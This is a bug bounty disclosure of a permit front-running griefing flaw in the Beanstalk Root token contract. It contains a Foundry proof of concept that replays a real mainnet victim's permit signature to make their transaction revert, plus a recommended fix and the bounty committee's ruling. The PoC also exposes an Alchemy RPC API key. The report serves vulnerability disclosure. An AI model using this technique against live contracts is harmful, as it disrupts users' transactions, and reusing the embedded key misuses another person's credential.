Attack due to permit in Beanstalk root contract
Report ID
#27242
Report type
Smart Contract
Has PoC?
Yes
Target
Impacts
- Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Bug Description
where
- [redeemWithFarmBalancePermit](https://github.com/RootToken/Root/blob/master/Root.sol#L342)
Expected behaviour:
- TheÂ
redeemWithFarmBalancePermit
 function utilizes the permit function so that approve and pull operations can happen in a single transaction instead of two consecutive transactions.
Attack
- ERC20Permit uses the nonces mapping for replay protection.
- Once a signature is verified and approved, the nonce increases, invalidating the same signature being replayed.
redeemWithFarmBalancePermit
 expects the holder to sign their tokens and provide the signature to the contract as part of permit data When aÂredeemWithFarmBalancePermit
 transaction is in the mempool, an attacker can take this signature, call the permit function on the token themselves.- Since this is a valid signature, the token accepts and increases the nonce.
- This makes the spender's transaction fail whenever it gets mined.
This makes the spender's transaction fail whenever it gets mined.
Impact
- The attacker can ensure all calls toÂ
redeemWithFarmBalancePermit
 fail for the first time.
Risk Breakdown
- Difficulty to Exploit: Easy
- Severity: Medium
Recommendation
- In theÂ
redeemWithFarmBalancePermit
 function, check if it has the approval it needs. If not, then only submit the permit signature.
if (IERC20(_token).allowance(owner, spender) < amount) {
IERC20PermitUpgradeable(_token).permit(msg.sender, address(this), amount, deadline, v, r, s);
}
References
- check the [1inch solution](https://github.com/1inch/solidity-utils/blob/master/contracts/libraries/SafeERC20.sol#L299)
Proof of concept
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test} from "forge-std/Test.sol";
struct PermitParams {
uint256 value;
uint256 deadline;
uint8 v;
bytes32 r;
bytes32 s;
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
struct DepositTransfer {
address token;
uint32[] seasons;
uint256[] amounts;
}
interface IRootToken {
enum To {
EXTERNAL,
INTERNAL
}
function mintWithTokenPermit(
DepositTransfer[] calldata depositTransfers,
To mode,
uint256 minRootsOut,
address token,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256);
function mintWithTokensPermit(
DepositTransfer[] calldata depositTransfers,
To mode,
uint256 minRootsOut,
address[] calldata tokens,
uint256[] calldata values,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256);
}
interface IBeanstalk {
function permitDeposit(
address owner,
address spender,
address token,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external payable;
function DOMAIN_SEPARATOR() external view returns (bytes32);
function nonces(address owner) external view returns (uint256);
}
contract GreifingAttack is Test {
//I have selected following transactions as target transaction
//https://etherscan.io/tx/0x5648854a4a11529fd592df031ad6d6236b96931d2a8aa65b22c200270a9b6d37
//RPC URL
string RPC_URL = "https://eth-mainnet.g.alchemy.com/v2/vJ3Q8mtR-UO9lkEgOsK52kYahGCQI0uj";//Enter your RPC URL here
uint Block_Number = 16097474 - 1 ; //target transacion block Number
IRootToken public RootToken;
address public victim;
IBeanstalk BEANSTALK_ADDRESS;
bytes32 private constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
address public Bean = 0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab;
function setUp() public {
//fork the chain with block of victim's transaction
uint256 ForkId = vm.createFork(RPC_URL,Block_Number);
vm.selectFork(ForkId);
// vm.warp(1701986242);//to avoid revert due to deadline
//victim for target transaction
victim = 0xD441C97eF1458d847271f91714799007081494eF;
RootToken = IRootToken(0x77700005BEA4DE0A78b956517f099260C2CA9a26);
BEANSTALK_ADDRESS = IBeanstalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5);
}
function testGreifingAttack() public {
//the happy path
vm.startPrank(victim);
//preparing the arguments
uint32[] memory seasons = new uint32[](4);
seasons[0] = 8477;
seasons[1] = 8575;
seasons[2] = 8576;
seasons[3] = 8577;
uint256[] memory amounts = new uint256[](4);
amounts[0] = 5396;
amounts[1] = 102316818;
amounts[2] = 72451124;
amounts[3] = 37067810;
DepositTransfer[] memory depositTransfers = new DepositTransfer[](1);
depositTransfers[0].token = Bean ;
depositTransfers[0].seasons = seasons;
depositTransfers[0].amounts = amounts;
IRootToken.To mode = IRootToken.To(0);
uint minRootsOut = 200750505380238979935;
uint value = 211841148;
uint deadline = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
uint8 v = 28;
bytes32 r = 0xe1d8924c18342cea96f743339464eb8a5c5e5b3518f042114f6b071fc9cea774;
bytes32 s = 0x54fac46a364b1f8de73a3de500bd30ee0065c9c4986d153c07801b86d65209ce;
uint256 snapshot = vm.snapshot();
///the victim calls the mintWithTokenPermit function
//with the signed permit and it succeeds as expected
RootToken.mintWithTokenPermit(depositTransfers,mode,minRootsOut,Bean,value,deadline,v,r,s);
vm.stopPrank();
vm.revertTo(snapshot);
//the griefing attack
//before the victim's transaction gets accepted
//attackers sees the transaction in mempool and submits it themselves
BEANSTALK_ADDRESS.permitDeposit(victim, address(RootToken),Bean,value,deadline,v,r,s);
//this ends up increasing the victim nonce
//now when victim's mintWithTokenPermit() transaction gets accepted it fails
//because the nonce is already used
vm.startPrank(victim);
vm.expectRevert("Silo: permit invalid signature");
RootToken.mintWithTokenPermit(depositTransfers,mode,minRootsOut,address(BEANSTALK_ADDRESS),value,deadline,v,r,s);
vm.stopPrank();
}
}
BIR-8: Root Permit Redemption Griefing
BIC Response
After reviewing your bug report, we believe that it is in scope for our bug bounty program and the threat level is Medium.
Based on our bounty page, this submission's ( Smart Contract - Medium ) reward is based on a set of internal criteria established by the BIC (with a minimum reward of USD 1 000), primarily taking into account the exploitability of the bug, the impact it causes and likelihood of the vulnerability presenting itself.
The BIC determined that the impact of this issue is low given the that the Root contract is not functional (Roots cannot be redeemed as a result of the Beanstalk Silo V3 upgrade) and the low value of assets in the contract. For these reasons, the BIC has determined that this bug report be rewarded 1,000 Beans.